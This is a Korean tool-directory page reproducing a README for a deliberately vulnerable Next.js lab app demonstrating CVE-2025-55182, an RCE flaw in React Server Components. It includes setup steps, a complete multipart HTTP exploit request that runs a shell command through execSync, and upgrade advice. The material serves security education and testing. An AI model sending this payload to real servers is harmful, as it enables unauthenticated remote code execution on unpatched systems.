Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/s-mughal/nextjs-app-cve-2025-55182
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubs-mughal/nextjs-app-cve-2025-55182

NextJS-app-CVE-2025-55182

Proof-of-concept Next.js 애플리케이션으로, React Server Components의 치명적인 RCE 취약점인 CVE-2025-55182(React2Shell)를 시연하며, 보안 연구를 위한 익스플로잇 예제와 완화 지침을 제공합니다.

저장소 보기
19개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Next.js CVE-2025-55182 개념 증명

이것은 CVE-2025-55182(일명 "React2Shell")라는 React Server Components의 심각한 원격 코드 실행(RCE) 취약점에 취약한 개념 증명 Next.js 애플리케이션입니다.

⚠️ 경고

이 애플리케이션은 의도적으로 취약하게 만들어졌으며 다음 용도로만 사용해야 합니다:

  • 보안 연구
  • 교육 목적
  • 격리된 환경에서의 테스트

다음은 절대 하지 마십시오:

  • 프로덕션에 배포
  • 신뢰할 수 없는 네트워크에 노출
  • 민감한 데이터와 함께 사용

취약점 세부 정보

CVE-2025-55182는 다음에 영향을 미칩니다:

  • React 버전 19.0.0 ~ 19.2.0
  • Next.js 버전 15.x 및 16.x (App Router 사용)
  • React Server Components(RSC)를 사용하는 애플리케이션

이 취약점은 React Server Components 페이로드 처리 과정에서의 안전하지 않은 역직렬화로 인해 발생하며, 인증되지 않은 공격자가 특수하게 조작된 HTTP 요청을 통해 서버에서 임의의 코드를 실행할 수 있게 합니다.

설정 방법

옵션 1: 로컬 개발

  1. 의존성 설치:

    npm install
    
  2. 개발 서버 실행:

    npm run dev
    
  3. 애플리케이션 접속: 브라우저에서 http://localhost:3000을 여십시오.

옵션 2: Docker

  1. Docker 이미지 빌드:

    docker build -t nextjs-cve-2025-55182 .
    
  2. 컨테이너 실행:

    docker run --rm -p 3000:3000 nextjs-cve-2025-55182
    
  3. 애플리케이션 접속: 브라우저에서 http://localhost:3000을 여십시오.

애플리케이션 구조

  • 로그인 페이지 (/): React Server Components를 사용하는 간단한 로그인 양식
  • 대시보드 (/dashboard): 로그인 후 접근 가능한 보호된 페이지

취약한 구성 요소

이 애플리케이션은 다음을 사용합니다:

  • Next.js 15.1.0 (취약한 버전)
  • React 19.0.0 (취약한 버전)
  • React Server Components(RSC)를 사용하는 App Router
  • 기본 create-next-app 구조

취약점은 RSC 페이로드 역직렬화 메커니즘에 존재하며, 페이지 라우트(예: http://localhost:3000 또는 http://localhost:3000/dashboard)에 악의적인 multipart HTTP 요청을 직접 보내 악용할 수 있습니다. 이 익스플로잇은 React Server Components를 사용하는 모든 페이지에서 작동합니다.

익스플로잇

이 취약점은 페이지 라우트(예: http://localhost:3000 또는 http://localhost:3000/dashboard)에 특수하게 조작된 HTTP 요청을 직접 보내 악용할 수 있습니다. 이 익스플로잇은 React Server Components를 사용하는 모든 페이지에서 작동합니다.

빠른 익스플로잇 예제

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

익스플로잇은 페이지 라우트를 직접 대상으로 합니다 - localhost:3000(홈페이지) 또는 localhost:3000/dashboard(대시보드 페이지)에서 작동합니다.

완화 방법

이 취약점을 해결하려면:

  • React를 버전 19.0.1, 19.1.2 또는 19.2.1+로 업그레이드
  • 패치된 버전(15.0.5+ 또는 16.x 패치 적용)으로 Next.js 업그레이드

참고 자료

  • CVE-2025-55182
  • React 보안 권고
  • Next.js 보안 권고

라이선스

이 개념 증명은 교육 및 보안 연구 목적으로만 제공됩니다.

도구 다운로드